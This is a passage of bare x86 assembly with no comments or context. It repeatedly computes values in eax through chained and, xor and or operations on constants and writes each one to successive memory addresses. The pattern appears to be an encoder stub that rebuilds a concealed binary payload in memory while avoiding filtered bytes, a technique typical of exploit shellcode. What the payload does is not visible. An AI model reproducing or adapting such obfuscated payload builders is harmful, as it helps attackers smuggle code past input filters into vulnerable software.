mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2ec4811e
xor eax, 0x1fa2977f
and eax, 0x338c84ba
or eax, 0x88532a00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x19b0a57f
or eax, 0x5e2df9d8
and eax, 0xcfe12c5e
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2aa6f04d
xor eax, 0x67583dcb
and eax, 0xd781004
or eax, 0xa068
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1fd46101
and eax, 0x1e0c4161
or eax, 0xa0000a90
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x360c3098
or eax, 0x4cdcd75
and eax, 0x40d105
or eax, 0x31000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c1424c0
and eax, 0
or eax, 0x61326215
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4e523685
or eax, 0x2495f695
and eax, 0x43211615
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x146ef8e9
or eax, 0x36d9776a
and eax, 0xe3fb8312
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x98f1113
and eax, 0x1000110
or eax, 0x9c04e0c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2ef79b85
and eax, 0xc048000
or eax, 0x10680a79
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x48cf001
and eax, 0x8400270
or eax, 0x420a8480
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49cb2a00
xor eax, 0x36648549
and eax, 0x3a2e8508
or eax, 0x811830
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7d0e9cd6
and eax, 0x18069800
or eax, 0x47e1228a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x397cd70e
and eax, 0x268a0080
or eax, 0x11248023
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4457758a
and eax, 0x5360a401
or eax, 0x8c0400d4
mov dword [ebx], eax
add ebx, ecx
and eax, 0xeaff8c2
xor eax, 0x5c998fa5
and eax, 0x10890f21
or eax, 0x29425002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6099287c
and eax, 0x800000
or eax, 0xd42641d3
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3b70083d
and eax, 0x10000000
or eax, 0x4ac73740
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x47501bb7
and eax, 0x14940422
or eax, 0x40085100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x502e4ed1
and eax, 0x40040400
or eax, 0xaf2833a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xa23da50
or eax, 0x6fa463f3
and eax, 0x4c755e32
or eax, 0x90008000
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc952552
xor eax, 0x29414692
and eax, 0x1400280
or eax, 0x48a1b000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x23a15802
and eax, 0x1000000
or eax, 0x7e0eea92
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3d13eb63
and eax, 0x300903e3
or eax, 0x200408
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x47474c53
and eax, 0x462c0808
or eax, 0x811a440
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e2b1ebc
and eax, 0x20023220
or eax, 0x58e8410a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x73cdaab6
and eax, 0x245994
or eax, 0xf0080623
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x72812134
and eax, 0x82ad2e00
or eax, 0x5142015c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46441131
and eax, 0x91ab0a41
or eax, 0x42008000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b0b1c00
and eax, 0x40000641
or eax, 0x502186
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x187839ce
and eax, 0x18000208
or eax, 0xa3426166
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x8490f22
xor eax, 0x55171511
and eax, 0xa60c394d
or eax, 0x19230682
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x35de2c7e
and eax, 0x3f558cf9
and eax, 0x25000b1
or eax, 0x24280e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x16153f0f
and eax, 0x2040808
or eax, 0x55220160
mov dword [ebx], eax
add ebx, ecx
or eax, 0x35a8c110
xor eax, 0x4bc17044
and eax, 0x34273134
or eax, 0x40904643
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4e1ae8
and eax, 0x24597251
or eax, 0x9000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1420975c
and eax, 0x8398505
or eax, 0xc2800080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5ae0d9a9
or eax, 0x3c4f3065
and eax, 0x2a7c168
or eax, 0x1000210
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x420baaee
xor eax, 0x79169356
and eax, 0x1082a280
or eax, 0x42410527
mov dword [ebx], eax
add ebx, ecx
or eax, 0x79f6ac0e
and eax, 0x52118a22
or eax, 0x4080000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5deb3ba7
and eax, 0x2f597aa4
and eax, 0x10020
or eax, 0x9a47547
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4bebf271
and eax, 0x2028716
or eax, 0x19a11869
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4a5c6577
and eax, 0x49f808
or eax, 0xe000577
mov dword [ebx], eax
add ebx, ecx
or eax, 0x59d22694
and eax, 0x5d4152ee
or eax, 0xa0040000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1de3a3f2
and eax, 0xa0002018
or eax, 0x13500662
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5793b676
and eax, 0xc041800c
or eax, 0x93009f1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x630232c0
and eax, 0x62293d
or eax, 0x40080082
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x30ab161a
or eax, 0x66d87580
and eax, 0x52d82f85
or eax, 0x8002805a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x451c0d0b
and eax, 0x80d0a
or eax, 0xa2e71060
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c7966d7
and eax, 0x8a120390
or eax, 0x208400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x59d4c41d
and eax, 0x100410
or eax, 0x226e0a8e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x40e82ef5
and eax, 0x1bde8882
and eax, 0x2040000
or eax, 0x849c120
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x356bada1
and eax, 0x40775393
and eax, 0x64000
or eax, 0x11482e72
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b920dce
or eax, 0x415a64c1
and eax, 0x41424001
or eax, 0x3a819318
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75151c9c
xor eax, 0x2e1c0089
and eax, 0x20404208
or eax, 0xc9143033
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7f18c815
and eax, 0x3908c224
or eax, 0x200100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x68571adc
and eax, 0x112a0868
or eax, 0x28002604
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x642a2
or eax, 0x2e55bea8
and eax, 0x3270becc
or eax, 0x80020110
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x28367771
and eax, 0x8a004824
or eax, 0x20a83300
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7dd421af
or eax, 0x5e3ee110
and eax, 0xa04423a7
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x113d120b
and eax, 0x40001
or eax, 0x430a4ce0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ea69eb7
and eax, 0x5fdc582b
and eax, 0x2000020
or eax, 0x9e9d200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x48f6b951
and eax, 0x200000
or eax, 0xa5092525
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6471b1bd
xor eax, 0x55f70855
and eax, 0xa21808
or eax, 0x21504300
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x672549d
and eax, 0x21000b85
or eax, 0x297002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5e5754d4
and eax, 0x1e2a53
or eax, 0x800000a4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6abe99ee
and eax, 0xe294b8cd
or eax, 0x10000400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a8d5a5a
xor eax, 0x8b49c9
and eax, 0x80028218
or eax, 0x2450081
mov dword [ebx], eax
add ebx, ecx
and eax, 0xddb8b94
and eax, 0x210
or eax, 0x40b0302d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3d768067
xor eax, 0x6711c03c
and eax, 0x8d00040
or eax, 0x24008d19
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4940550d
xor eax, 0x16757997
and eax, 0x320580ca
or eax, 0xa0121
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c678802
xor eax, 0x3028b70c
and eax, 0x8002e65
or eax, 0xc09d001a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x556b6b1d
and eax, 0x9d98204a
or eax, 0x22008080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5f4207ac
xor eax, 0xb4ac457
and eax, 0x10408097
or eax, 0xe3901800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3bada240
and eax, 0xc8ad1ad0
or eax, 0x4100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x211ffa
or eax, 0x4deba82f
and eax, 0x8daf682b
or eax, 0x30101140
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x45fbf252
and eax, 0xe0008a00
or eax, 0x50b0006
mov dword [ebx], eax
add ebx, ecx
and eax, 0x225f8bef
and eax, 0x511b4774
and eax, 0x20204
or eax, 0xad303881
mov dword [ebx], eax
add ebx, ecx
and eax, 0x30e8613c
and eax, 0xfcde8c7
and eax, 0
or eax, 0x8c0510a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x53389c6d
or eax, 0x31f655ab
and eax, 0x7487d8c9
or eax, 0x2010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6d42dbd8
or eax, 0x6e572710
and eax, 0x6202b2d9
or eax, 0x26
mov dword [ebx], eax
add ebx, ecx
and eax, 0x608bdd2
and eax, 0x686e749f
and eax, 0x1090
or eax, 0x2c434449
mov dword [ebx], eax
add ebx, ecx
and eax, 0x109b4856
xor eax, 0x73d67019
and eax, 0x13c52048
or eax, 0x8c0a8920
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7bc96484
and eax, 0x6c1a4
or eax, 0x10e12000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x21e8b9b5
or eax, 0x3f5d89ec
and eax, 0x19bd00c4
or eax, 0x40004402
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb652e18
and eax, 0x52642c54
or eax, 0x24021121
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6955163a
xor eax, 0x36f660d3
and eax, 0x10a250c2
or eax, 0x8458a10
mov dword [ebx], eax
add ebx, ecx
or eax, 0x64314730
and eax, 0x30241492
or eax, 0x82000001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x79ccc37c
or eax, 0x3f9a37cf
and eax, 0x7900512
or eax, 0x40200000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5dbb6e3
and eax, 0x4100400
or eax, 0x20457185
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9525c9a
and eax, 0x2901290f
or eax, 0x50a0c6e0
mov dword [ebx], eax
add ebx, ecx
and eax, 0xbbd9ee1
and eax, 0x18400
or eax, 0xc612100e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3795a286
and eax, 0x6000006
or eax, 0x704e0b31
mov dword [ebx], eax
add ebx, ecx
and eax, 0x668de6ce
or eax, 0x47e962ad
and eax, 0x450442aa
or eax, 0x8020040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x762599
and eax, 0x45304739
or eax, 0x82080004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x69908cbc
and eax, 8
or eax, 0x82812142
mov dword [ebx], eax
add ebx, ecx
or eax, 0x10029f0
and eax, 0x80800978
or eax, 0x44048405
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7cb4677d
or eax, 0x42843b6
and eax, 0xb0208b86
or eax, 0x3850000
mov dword [ebx], eax
add ebx, ecx
and eax, 0xf4f5ef7
or eax, 0x1744c3c6
and eax, 0x545c342
or eax, 0x8283401
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xefa951f
and eax, 0x2140218
or eax, 0xb8681d00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x55deea7e
and eax, 0x2b664c0a
or eax, 0x81
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b657a28
and eax, 0x49abd5c6
and eax, 0x9204000
or eax, 0x3615006e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7240737
and eax, 0x2115470f
or eax, 0xc0c2b800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18bd975a
and eax, 0x386a0010
or eax, 0x6048028
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15066c95
and eax, 0x8e081
or eax, 0x90971352
mov dword [ebx], eax
add ebx, ecx
and eax, 0x36b3b00
or eax, 0x586b06e
and eax, 0x500834c
or eax, 0xb8604c80
mov dword [ebx], eax
add ebx, ecx
or eax, 0xa643904
and eax, 0x646844
or eax, 0x130020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x33919781
or eax, 0x335331ad
and eax, 0x33533184
or eax, 0x40a44a10
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7b04bd39
and eax, 0x3ec8a613
and eax, 0x18800200
or eax, 0x841e0926
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6be3fd35
and eax, 0x30243001
or eax, 0x868
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5800a857
and eax, 0x6000202f
or eax, 0x80100300
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f9ccb59
and eax, 0x484a062
or eax, 0x20230281
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5ca7589a
and eax, 0x870080
or eax, 0x5300a425
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ccfa1f7
and eax, 0x108380a5
or eax, 0x2318080a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7d83dcd
and eax, 0x33032927
or eax, 0xc0040200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x28a52ab8
and eax, 0xb9232303
or eax, 0x4180400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5d1109ea
and eax, 0x18000102
or eax, 0x424464b0
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe73ebec
and eax, 0xa400100
or eax, 0x4b30606
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4d7a0199
and eax, 0x8720100
or eax, 0x41054e43
mov dword [ebx], eax
add ebx, ecx
and eax, 0x29bae1e1
and eax, 0x9104141
or eax, 0x26400e1a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3d9abcf9
or eax, 0x4efdc2d
and eax, 0x140c8120
or eax, 0x28000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x54c29b36
and eax, 0x20
or eax, 0xc3033c91
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a518fdc
or eax, 0x11263b82
and eax, 0x9026326d
or eax, 0x40084400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x11d959c1
and eax, 0x5000
or eax, 0x3b68424
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1edc8b93
and eax, 0x100000
or eax, 0xd8433cbd
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4c30a230
and eax, 0x6d8f489a
and eax, 0x4030088
or eax, 0x8f0b637
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x72b8c7af
and eax, 0x60400100
or eax, 0x24006b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x28a33f8
and eax, 0x140
or eax, 0x383ad090
mov dword [ebx], eax
add ebx, ecx
or eax, 0x20d7c818
and eax, 0x308c32c4
and eax, 0x10840000
or eax, 0xc411ca0a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5011d079
and eax, 0x94959803
or eax, 0xb0a0484
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50b23161
and eax, 0x10000001
or eax, 0x664d023c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c60f974
and eax, 0x5628cb74
or eax, 0x81000400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x17313cc5
xor eax, 0x31bedaea
and eax, 0x52052
or eax, 0xe5842a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xb524dc4
and eax, 0x20310
or eax, 0x4090d048
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x69c8601
and eax, 0x4084519
or eax, 0x290108a2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3be46527
and eax, 0x20000421
or eax, 0xc6fe3a14
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5d0b9772
and eax, 0x20
or eax, 0x1105214d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7114327d
and eax, 0x412e5f02
and eax, 0x40000
or eax, 0x54191707
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5d9fabc1
and eax, 0x41d0001
or eax, 0x3c23cea
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72b550f6
xor eax, 0x7215fdef
and eax, 0x40000905
or eax, 0x84171010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xdcd7f1e
and eax, 0x8158660b
or eax, 0x2240824
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3d9e1a27
and eax, 0x120e322c
or eax, 0x40008050
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x66350d02
xor eax, 0x36d739c6
and eax, 0x2000420
or eax, 0xc0133040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e34c888
and eax, 0x617e4947
and eax, 0x40204800
or eax, 0xb001b22b
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd789c10
or eax, 0x17330b36
and eax, 0x10138b12
or eax, 0x8004008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x244efdc8
or eax, 0x1bb7f35a
and eax, 0x2750a4d0
or eax, 0x80000001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6506f9ea
and eax, 0xc406dd50
or eax, 0x290204
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2f05f6ec
and eax, 0x5d400
or eax, 0xf200083a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x18aff0f3
and eax, 0xeaaeec92
or eax, 4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x753771ab
and eax, 0x41e473aa
and eax, 0x1a07108
or eax, 0x28588a15
mov dword [ebx], eax
add ebx, ecx
or eax, 0x56beb377
or eax, 0x6d5f6e05
and eax, 0x206e555b
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2fcde227
and eax, 0x20044002
or eax, 0x9e01b304
mov dword [ebx], eax
add ebx, ecx
or eax, 0x77edb4e4
or eax, 0x114bf45b
and eax, 0x8ea5b2c0
or eax, 0x100000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x58435a25
and eax, 0xc0a7aac0
or eax, 0x21080418
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7a9c8534
or eax, 0x6b98ed8d
and eax, 0x6a14e019
or eax, 0x201260
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x432e9cd5
and eax, 0x21080020
or eax, 0x96649111
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c8ce78c
and eax, 0xab24779c
or eax, 0x20002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6092a7ca
xor eax, 0x2ade7407
and eax, 0x80480341
or eax, 0x6026
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4eec6f39
or eax, 0x3140ac69
and eax, 0x7cac4b1b
or eax, 0x1080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x30f7b931
and eax, 0x4c53220a
or eax, 0xb0a41155
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x48b28358
and eax, 0x14459002
or eax, 0x410a4f00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e17c086
xor eax, 0x613a41af
and eax, 0x8609209
or eax, 0x1a2080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1228f2b0
xor eax, 0x7a825ea4
and eax, 0x10088800
or eax, 0x1400102
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x25669110
and eax, 0xe0000
or eax, 0x4a40c785
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b1399ea
xor eax, 0x1c33b567
and eax, 0x46ecb00
or eax, 0x8000b5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x55e46d9d
or eax, 0x832ba49
and eax, 0x580aa220
or eax, 0x2c44100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x66fefa8b
and eax, 0x1c30198b
or eax, 0xc104c654
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3d7d01e0
and eax, 0x7f0389a1
and eax, 0x40018000
or eax, 0x90825582
mov dword [ebx], eax
add ebx, ecx
or eax, 0x49c0f4b2
xor eax, 0x77b9b5c7
and eax, 0xe180061
or eax, 0x1001e82
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b49462c
or eax, 0x355601c
and eax, 0x115548b7
or eax, 0xa0a00000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7ab2d418
and eax, 0x750ab451
and eax, 0x29000
or eax, 0x949d48cc
mov dword [ebx], eax
add ebx, ecx
or eax, 0x334272c4
xor eax, 0x3dad4075
and eax, 0x8240ba21
or eax, 0x140c0142
mov dword [ebx], eax
add ebx, ecx
or eax, 0x62ae5742
and eax, 0xf1f248c
and eax, 0x4040400
or eax, 0xb000c915
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x33e19263
and eax, 0x1650334
or eax, 0x50122089
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x344596c0
and eax, 0x4020b158
or eax, 0x9acd4080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x75847fad
and eax, 0xda4843c0
or eax, 0x100002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49620e37
and eax, 0x6f0e931a
and eax, 0x40000000
or eax, 0x58f5e9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2ecfdc2c
and eax, 0x2cdd902d
or eax, 0x1000212
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x563690ed
and eax, 0x60a80090
or eax, 0x414ac20
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2243dd1b
or eax, 0x33cc0b9d
and eax, 0x33c80315
or eax, 0x8220042
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7bfd8875
or eax, 0x615fc82e
and eax, 0x615d0100
or eax, 0x120000d0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x68c8aaec
and eax, 0x44795ecf
and eax, 0x40400a8c
or eax, 0xba63530
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7a88a1e7
or eax, 0x74aa4881
and eax, 0x656c6190
or eax, 0x110000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe540f09
and eax, 0x2b280a98
or eax, 0x10949124
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d54522a
or eax, 0x1e3e9
and eax, 0x4602b2f
or eax, 0x1101400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5a4c354e
and eax, 0x595c1a02
or eax, 0x8002c000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x16479736
and eax, 0x67b36763
and eax, 0x14100
or eax, 0x8222dc
mov dword [ebx], eax
add ebx, ecx
or eax, 0x51c6bc98
and eax, 0x8b0fcf4
and eax, 0x80d8d0
or eax, 0xdf01020a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x54682d04
and eax, 0x8884380
or eax, 0x54140000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4c4d75c1
or eax, 0x6fefbbe5
and eax, 0x5e06a361
or eax, 0xa
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4ff5fccc
xor eax, 0x2c6d4584
and eax, 0x10102820
or eax, 0x8240004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x43b093d6
xor eax, 0x3698e573
and eax, 0x68244c00
or eax, 0x80432158
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb8153ee
and eax, 0x14108
or eax, 0x51441026
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6978f9c3
and eax, 0x3808a8ec
or eax, 0x4425702
mov dword [ebx], eax
add ebx, ecx
or eax, 0x50146236
and eax, 0x7332b898
and eax, 0x30000010
or eax, 0x81894500
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1424fb7c
xor eax, 0x7c6cd92a
and eax, 0x48412000
or eax, 0x221690b1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x277f3b61
and eax, 0x6710b2b1
or eax, 0x80804404
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7c7f731a
or eax, 0x11d2e952
and eax, 0x75c2e942
or eax, 0x8a0d00a4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9eb4ae2
and eax, 0x4bd76b5c
and eax, 0x1426b40
or eax, 0x943080b9
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7830e6d
and eax, 0x20268
or eax, 0x78347084
mov dword [ebx], eax
add ebx, ecx
and eax, 0x79b94ad2
or eax, 0x70b6b9b0
and eax, 0x30165a40
or eax, 0x82400402
mov dword [ebx], eax
add ebx, ecx
or eax, 0x54ff8ed2
or eax, 0x3d1e1801
and eax, 0x50fd8c52
or eax, 0x200c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1f71f871
xor eax, 0x1c3f4394
and eax, 0x40a002ba
or eax, 0x2808a804
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7af1af77
and eax, 0x30302177
or eax, 0x5001000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x18204b74
xor eax, 0x562a476f
and eax, 0x4402400a
or eax, 0x397418a4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3cb1f929
or eax, 0x4350b52a
and eax, 0x42573528
or eax, 0x34200200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6cf81456
xor eax, 0x10d41b6d
and eax, 0x122801
or eax, 0xa5804588
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3677647d
and eax, 0xa6922599
or eax, 0x8088002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5810ea6f
and eax, 0x10a00b
or eax, 0xa28a0d90
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7b9d1f2a
xor eax, 0x32a7c6d5
and eax, 0x8018210a
or eax, 0x26828091
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x743c4b7
or eax, 0x11776712
and eax, 0x909a031a
or eax, 0x8009881
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5107eb91
and eax, 0x28b91
or eax, 0xa598140a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x444a76ed
and eax, 0x4152a857
or eax, 0x10050000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x73016147
or eax, 0x5db8a718
and eax, 0x5d564e10
or eax, 0x11046
mov dword [ebx], eax
add ebx, ecx
or eax, 0x10e3e113
and eax, 0x59575a56
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x69159dd
and eax, 0x45574256
or eax, 0x400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7c9d20a1
and eax, 0x1424256
or eax, 0x40150000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4ec0d637
or eax, 0x2523f4e8
and eax, 0xd174440
or eax, 0x40400a16
mov dword [ebx], eax
add ebx, ecx
and eax, 0x32334ea3
and eax, 0x134a02
or eax, 0x49440054
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4558a3eb
and eax, 0x400040
or eax, 0x348b3489
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e0e24b3
and eax, 0x3c0476a3
and eax, 0x8000022
or eax, 0x2a0b09
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d6eed69
and eax, 0x82a0929
or eax, 0x4000602
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2a2a1d46
and eax, 0x2dfec7d2
and eax, 0x200
or eax, 0x2a012b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1745c25e
and eax, 0x20a
or eax, 0x42a0521
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5ec48343
and eax, 0x188afe4d
and eax, 0x180a0008
or eax, 0x201b23
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5a99e4b0
and eax, 0x6dc8f54d
and eax, 0x86109
or eax, 0x95620a22
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5457a23e
and eax, 0xc1148100
or eax, 0x1480146a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1f1a7278
or eax, 0x4cd5d402
and eax, 0xd590d412
or eax, 0x85
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a0d0bca
and eax, 0xd59cd493
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5b8be989
and eax, 0xd598d49b
or eax, 4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2a13b930
and eax, 0x2debbd22
and eax, 0x5800402
or eax, 0xd004d099
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x600bd799
and eax, 0x95800002
or eax, 0x4000d485
mov dword [ebx], eax
add ebx, ecx
or eax, 0x24ec9dd3
xor eax, 0xf479d70
and eax, 0x78884083
or eax, 0x4049400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3009d925
and eax, 0x62e88dc8
and eax, 0x40800c80
or eax, 0x9a037003
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6732526a
